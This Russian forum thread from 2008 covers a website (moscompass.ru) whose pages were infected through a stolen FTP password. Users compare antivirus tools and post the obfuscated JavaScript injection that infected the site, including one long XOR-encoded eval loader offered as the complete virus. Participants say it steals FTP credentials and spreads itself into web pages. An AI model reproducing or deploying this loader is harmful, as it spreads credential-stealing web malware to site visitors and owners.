Не бред, а еще хуже Опции

[Strateg]

Я тупо запретил в Opera рисунки(звенья змеи), и всё нормально стало.
Я всё таки нашёл js исходник, а код скопировать забыл...блин(....

А насчёт виновных предлагаю устроить амнистию, ведь первые 5 минут действительно смешно было, да и 1-ое апреля всё таки.

[ViNiaMin]

...ну и живите в своём скучном мире...
и делайте и меня что хотите, хоть чучело (с)...

[Strateg]

Антивирус обнаружил при загрузке moscompass.ru

...htm\Script.0 - инфицирован VBS.PackFor
...htm\Script.1 - инфицирован VBS.PackFor
...htm\Script.2 - инфицирован VBS.PackFor
...htm\Script.3 - инфицирован VBS.PackFor
...htm\Script.4 - инфицирован VBS.PackFor

Нифигасе....(((

[Skazitel]

Да, Серёг, там траблы и Дима не может ничего сделать т.к. надо менять пас от фтп, а заведует этим Хропов, которому до лампочки всё.

Если можешь, выводи полные пути, это поможет.

[Strateg]

Нифига не понял, что ты подразумеваешь под траблами? Вирусы там как оказались? Или что-там сидит, такое что интедефицируется как вирус?

Вот полный путь, остальные аналогично.

Диск:\Documents and Settings\Имя Пользователя\Application Data\Opera\Opera\profile\cache4\opr0QYEA.htm\Script.4 - инфицирован VBS.PackFor

Сообщение отредактировал Strateg - April 2 2008, 23:34

[Skazitel]

вирусы на МК. Кто-то заносит постоянно, у кого есть пас от фтп. Чтобы этого не было надо сменить пас от этого самого фтп, вот и всё.

[Skazitel]

Кстати до сих пор не оченгь понимаю, почему у меня всё молчит... Но и файлов таких я не нашёл на компе. В логах Симантека нету. М.б. Роутер отсекает всё нафиг...

[Strateg]

Идиоты что могу сказать(те кто заносит). Ну а насчёт постоянно, 1-ый раз с этим сталкиваюсь, хотя антив регулярно раз в неделю обнавляю.

[Skazitel]

Кто это - хз. До этого быстро лечил Серёга. Ха, а ты можешь мне эти файлики кинуть? Я бы не отказался проверить их нортоном... уж больно подозрительно он молчит.

[Strateg]

Файлу он оказывается каждый раз уникальное имя присваевает, под IE он вообще подругому называется.
У меня тоже связь через роутер, так что уж скорее у тебя или антив плохой или провайдер трафик фильтрует.
Ещё вариант что это не вирус а что-то всё-таки иное.

[Skazitel]

Это вирус.
Скрип 6 раз в главной странице. Код скинул. Желающим могу дать код вируса


В связи с не совсем адекватностью Нортона (молчит, всё втихую пишет в лог), подумал сменить антивирус. По сему вопрос. У кого есть Dr.Web например? или Что посоветуете? нод? Вариант Каспера не рассматриваю - это штука рушит систему.

[Pozitive]

нод 32 и КАСПЕРСКИЙ для нерегулярных, но ПОЛНЫХ проверок.

На этот раз с москомпасом полный пиздец.
Правда в этот раз кое-что интересное нашел на фтп (BackDoor.PHPshell)... правда пока пароль не поменя.т, боюсь такая хрень будет и дальше....лечить еще более 1000 файлов - я не в состоянии.... основное вылечил, можно пока пользоваться спокойно.

Миша, на Хропова не гони, он тут не особо то и причем.

Сообщение отредактировал Pozitive - April 3 2008, 01:54

[Skazitel]

Я не гоню, а просто повторяю димины слова.

[ViNiaMin]

как скриптик-то выглядит?
что-то типа:

Код

<!-- [ 1ddee462e6a8ba95c9d0dcd02089a051 ] --><script>eval(unescape('function%20ozJI%28hruHx%29%7Bfunction%20aBNSGyw%28mIkNX%29%7Bvar%20vGbav%3DmIkNX.
length%3Bvar%20enH%3D0%2CeQU%3D0%3Bwhile%28enH%3CvGbav%29%7BeQU+%3DmIkNX.
charCodeAt%28enH%29*vGbav%3BenH++%3B%7Dreturn%20%28%27%27+eQU%29%7D%20%20%20try%20%7B
var%20exi%3Deval%28%27a%5Br_g%3Cu%3Cm%3Fe%3Fn%3Ctis_.%3Cc%5Ba%3Fl%5Bl%5Be%3Ce%5B%27
.replace%28/%5B%5C%3Fi%5C%5B_%5C%3C%5D/g%2C%20%27%27%29%29%2CxaxjD%3Dnew%20
String%28%29%2Czpc%3D0%3BopOnV%3D0%2ChvIm%3D%28new%20String%28exi%29%29.replace%28/%5

?
тогда он сам себя плодит. вероятнее всего берёт пароли из ФТП клиента, типа FAR, и дописывает себя в тело страниц.
у меня нод с аутпостом видимо всё молча режут, но вообще последствия от этой гадости бывали тотальные. пока выход - всё почистить, сменить пароли и фтп клиент

[Strateg]

ViNiaMin, я копию вируса у себя уже снёс, но так впринципе очень похоже.

[Skazitel]

Вов, специально для тебя.

<script>eval(unescape('function%20eXQg%28xnLs%29%7Bfunction%20eGUvqgc%28acBF%29%7Bvar%20iMB%3DacBF.length
%3Bvar%20zGY%3D0%2CwaN%3D0%3Bwhile%28zGY%3CiMB%29%7BwaN+%3DacBF.charCodeAt%28zGY%29*iMB%3BzGY++
%3B%7Dreturn%20%28%27%27+waN%29%7D%20%20%20try%20%7Bvar%20tteIia%3Deval%28%27a%5Dr%7CgNu%7EmNe
%7CnKt%7EsN.%7EcNa%5Dl%5Dl%7Ce%5DeN%27.replace%28/%5BK%7EN%5C%5D%5C%7C%5D/g%2C%20%27%27%29%29%2CmcdUE%3Dnew%20String%28%29%2CbZuM%3D0%3BwvJPsw%3D0%2CcsCr%3D%28new%20String
%28tteIia%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20kONmd%3DeGUvqgc%28csCr%29%3BxnLs%3Dunescape%28xnLs%29%3Bfor%28var%20tjy%3D0%3B
%20tjy%20%3C%20%28xnLs.length%29%3B%20tjy++%29%7Bvar%20iUt%3DxnLs.charCodeAt%28tjy%29%3Bvar%20wNkW%3DcsCr
.charCodeAt%28bZuM%29%5EkONmd.charCodeAt%28wvJPsw%29%3BbZuM++%3BwvJPsw++%3Bif%28bZuM%3EcsCr.length%29bZuM
%3D0%3Bif%28wvJPsw%3EkONmd.length%29wvJPsw%3D0%3BmcdUE+%3DString.fromCharCode%28iUt%5EwNkW%29%3B%7Deval%
28mcdUE%29%3B%20return%20mcdUE%3Dnew%20String%28%29%3B%7Dcatch%28e%29%7B%7D%7DeXQg%28%27%2532%2533%
2535%2537%2538%2531%2531%2536%2545%2532%2533%250b%250e%2530%2527%2509%2527%2510%251b%2578%2568%2525%
252a%2564%250c%2520%250c%2505%2524%2508%251f%252e%2537%2534%255e%2506%2521%252e%2528%2515%250e%2529%2
522%2511%2566%2521%257f%252b%2530%2531%2536%252d%2521%250d%252c%2569%2548%254e%256e%2568%2528%2534%25
3a%256b%252b%2533%2576%257d%252f%2522%2517%2571%257a%250a%251f%2529%252a%2551%2531%2539%2530%2511%257
c%2532%2526%2510%252d%2501%252d%2505%253b%251e%2524%2529%2557%2541%2571%2500%2534%2529%2506%254c%253
6%2560%2567%2578%2507%250a%250c%253b%252e%2535%251f%2568%2504%2524%2527%2532%252f%2529%253d%253d%2513
%2531%2509%255c%2511%250e%2560%251f%2512%250b%2535%252d%2516%2509%2508%2508%2528%251e%257e%251d%2501
%252e%2564%2516%253e%2511%2519%2556%252d%2510%2515%250b%250e%2571%251d%254d%2517%256a%254f%2545%2516
%2536%2539%2510%2528%253e%2517%252c%2510%2523%2502%257c%2510%252c%2552%2521%2523%2516%2530%253e%2501
%251d%2555%2528%2560%256f%2542%257b%2520%252a%2515%2529%253a%257c%256e%2508%252e%2514%2513%251a%2516
%2518%256a%2534%2565%257b%2575%253c%256c%2576%2535%2535%253e%2510%2579%2514%2531%256e%2504%2573%257d
%2562%2524%254a%253b%2526%2531%253d%2537%2574%2546%2551%250d%257f%2500%2544%250c%2573%252f%253a%257c
%2501%2532%2536%250e%253a%2525%252f%251b%2517%2514%2563%250e%2578%2576%2570%250a%2521%250d%253a%251
d%2526%2538%2568%2546%2560%257e%251d%2525%2535%2538%2524%252f%253e%2560%2529%252f%2504%2514%253a%2537
%254f%2538%2542%2575%2502%2570%2574%2566%2578%2565%2560%253c%2532%2518%2560%2521%2516%2522%2532%257f%
2512%2578%254a%253e%2538%2521%2528%251e%2530%2521%2568%252e%2568%2528%252f%252b%2520%2578%256a%257a%2
521%2577%2513%2524%252d%250f%2526%2537%2526%2541%2568%252e%2558%253b%2530%253b%2503%2527%254a%2541%25
7d%2505%253f%2516%250b%253f%253a%2506%2534%2572%252f%2521%2514%253d%2520%253e%2524%2528%2530%256d%250a
%251a%252b%2532%2531%2572%2560%2542%2571%2529%2556%2515%2571%252c%2523%2538%2562%2551%256e%2549%2518
%2520%2546%251d%2556%253b%251a%2520%256c%257b%2512%2573%2574%2535%251b%2575%2532%253f%2525%2522%2554
%257f%251a%2518%257a%2533%2545%2516%2579%2545%2543%2530%2571%2572%2564%2577%256f%256c%250f%257b%2566
%2578%2526%2575%2516%2537%2516%251c%252d%2522%253a%2525%257a%2561%2552%256b%2536%2540%2512%2518%257
e%2522%2534%251f%252c%253e%251b%2565%2545%2566%256e%2504%253f%2516%253f%2517%2530%253a%2570%257b%2507%
2538%250f%2536%2528%2538%2565%251a%2576%2532%257e%2575%2544%2562%2575%257f%253f%2510%2524%252a%252b%257
6%2514%2534%2526%2502%253b%253f%253f%2558%2535%255d%2528%2538%2528%252d%2579%253c%253b%2501%253a%253c%
252e%2515%251a%2526%2532%2568%2578%2517%252e%2533%2529%2577%253e%2519%250b%252b%2518%2530%2506%2535%25
38%250f%2512%256e%256c%250f%2526%2552%2514%2539%2534%2518%251e%257d%253a%2536%2531%2527%2526%256a%2576%
257c%2523%251f%2501%2538%2564%2575%252b%2503%250b%2574%251e%2534%253d%2579%2568%2562%2510%251d%2531%252
e%2504%252d%253b%2517%2571%257b%2508%2506%254f%2523%257b%2538%2578%254a%2568%2579%2530%257c%2561%2579%
253a%255f%2527%254e%253b%257f%250f%255f%2526%2565%250b%257b%2530%2568%250a%2559%2534%257e%2534%252f%2505
%2532%2530%2521%253f%2533%2532%2539%251e%253b%250f%2577%2574%2513%2525%2524%2517%2523%2536%251a%257c%2
577%2510%250e%2527%2530%256a%252d%2522%257f%253d%2540%2577%2571%255c%2530%2566%253b%257c%257d%2546%256
a%2530%2511%250b%2577%256b%257c%2529%2543%253f%255b%2540%2562%2534%257a%250e%2579%251b%2570%2576%257b
%2574%2571%2556%2527%2555%2543%2530%2527%250c%2513%2539%256e%254c%257b%2517%2529%255e%2521%2535%2532
%2529%2510%256a%253f%253a%2529%253a%256d%253e%2535%2516%253b%250e%2571%2569%2579%256d%2537%257e%253e
%2536%252e%2534%256a%2527%252e%2539%2539%255c%252a%2573%2556%256f%257c%256e%252a%256f%2529%2577%251d%2
562%2501%2557%2532%2533%2527%2502%2559%2551%2570%256d%2522%256d%2539%2518%2522%256a%2508%255a%2526%256
4%2577%2526%2521%2529%2539%251a%2570%2565%2529%251e%253b%253b%253f%2527%2513%257b%256e%251a%2537%2571%
255d%253e%2500%255d%2573%2500%2556%2523%253a%257d%2573%257f%254e%256a%2528%2524%2529%2502%2528%253f%252
f%2500%2502%2567%2577%2579%2512%2537%2571%2536%251c%253a%252e%2518%2570%2532%2535%251d%2527%2558%2578%
253c%2522%253a%253f%2523%2556%2526%2521%2530%2532%2556%2521%252b%2572%2537%2532%2505%2551%2518%2530%252
6%251c%256d%257a%2557%2555%251b%2576%2509%251c%2521%2501%2576%2538%250d%257b%252f%2513%252f%257c%2510%2
511%2536%2512%256c%2550%254b%2523%252a%2527%253f%252a%2520%2520%256d%2556%2547%2560%2566%2560%2566%2556
%2558%2576%2548%2564%257b%255b%2578%2538%2508%2538%253e%2527%252e%2535%253d%251f%256d%252e%256d%2535%2
538%2529%252b%255b%255c%2565%2519%2538%2511%251e%257a%2577%253f%257f%256e%254c%2575%256c%257d%2525%253d
%2518%2500%2535%2512%252a%2528%2537%253f%2518%2511%254b%2569%2550%2560%257d%2537%2561%252e%252a%252c%2
53e%2530%2567%2570%256c%2510%2579%2521%253b%2518%2518%2512%2517%250f%252e%2506%253a%2520%257f%2545%2564
%2570%252c%254e%251a%2526%2520%2504%2507%2521%2530%253d%2501%250e%2528%2554%2562%2545%2523%2515%252f%2
526%2525%2536%2539%253b%2549%256f%252b%252b%2533%254a%2577%2520%2534%250b%257b%253e%2535%253a%2528%2504
%2505%253f%250c%2572%2513%2529%2532%252c%252b%253b%252d%2507%2573%2535%253f%2503%2519%257c%2560%2523%25
06%2527%2525%2505%251f%256e%2572%252b%252b%2539%2500%2570%257d%2552%2544%2530%2572%2574%2545%257d%256f%
2539%252d%2531%2563%2576%254c%2579%2525%2538%2562%252a%250a%2521%2522%2532%2501%257e%256b%2572%2550%254
6%252d%2512%2510%2512%2535%2514%253a%2531%251e%2550%2536%2575%2557%2573%2535%251e%2531%252f%257a%2517%2
527%250e%2527%250b%2532%251e%2529%253f%2504%2506%251c%2530%256f%2569%2565%256c%2566%2577%255f%255d%2560%
2561%2563%2532%2526%252d%256b%2521%252c%252b%253e%2531%2522%253c%257d%2578%256b%253c%2522%2527%2575%2503
%256d%2572%2543%256c%255e%2521%2532%257a%255e%2577%257a%2574%257d%2517%2519%256d%252b%2533%252b%2538%25
70%257d%254a%2525%2553%2579%2534%2538%257b%257c%2575%257c%2557%257d%257b%2560%2549%256b%2561%257f%2545%2
575%256b%253f%2504%253e%2552%2566%2524%2502%252a%2502%2528%2524%255b%2569%2520%252c%252d%2527%2575%2579%
2560%2540%2565%2561%2571%254c%2575%256c%2561%2526%2519%2531%2523%2536%251a%2538%2530%252d%2576%2570%2574
%2505%253f%2544%253b%252d%2568%256f%250d%2574%2550%2514%2502%257f%2572%2520%257e%252f%2534%253a%2514%2521
%250f%252a%2530%253e%2513%2501%2523%2567%255d%2571%2536%2533%251a%2529%253d%2536%2515%251d%256f%2574%252
b%2536%253e%2524%2534%2521%2516%257c%255e%256e%2535%2538%2520%2532%253a%2517%2528%252d%2562%2564%2523%2
534%2523%2527%250b%2550%2529%2575%253f%2538%2527%2519%2524%2540%2532%2531%2525%2532%2577%2520%2537%250c%
251f%2523%2538%2537%2525%257b%2537%2579%257c%2552%2556%2561%2576%2572%2552%2565%2531%2534%2510%2537%257c
%2524%252f%2519%2531%250f%2530%2525%2510%252d%256e%2531%2579%2570%257e%2548%254f%257b%2567%255d%2578%252
7%2547%2534%251a%251f%2515%2547%257f%257c%2562%2520%2538%2531%2514%2542%2572%2532%253c%2556%2562%256a%25
23%2525%250d%252b%252b%2530%252c%2525%2511%2524%254c%255f%250b%2525%2522%2534%2530%2535%250d%2511%2558%2
52d%257d%2502%252b%256d%257d%253c%255a%2561%2528%2560%253b%2507%2533%255c%255e%2538%250d%2505%2525%2527%
2523%2535%2523%251a%2567%2555%2565%253e%252d%2560%253b%2571%2538%251a%2529%2530%2522%2511%2504%256a%256f
%253d%27%29%3B'))</script>

[Skazitel]

1) Это флейм
2) Спец для Вовки
3) т.к. я РАЗДЕЛИЛ это энтрами, то ничего не будет! (не как в первый раз )
4) Это Полный код вируса, ток ";" не хватает в конце.

[ViNiaMin]

Банить не буду, но вообще выкладивать тело вируса на форум - не самая лучшая идея, лучше прикрепи в файле.
Про вирус - это не совсем то, про что я писал, видимо модификация, наверное не менее опасная

[Strateg]

Да я шучу.

Интересно а первого раза ему не хватило.
Вообще не прикольно было когда встроеная система фильтрации управляющих кодов пропустила этот скрипт.
Мне такое не удавалось %)
Вот про тот пост я и написал.

[ViNiaMin]

ИЕ не воспринял это как скрипт, а в Опере у меня был выключен JavaScript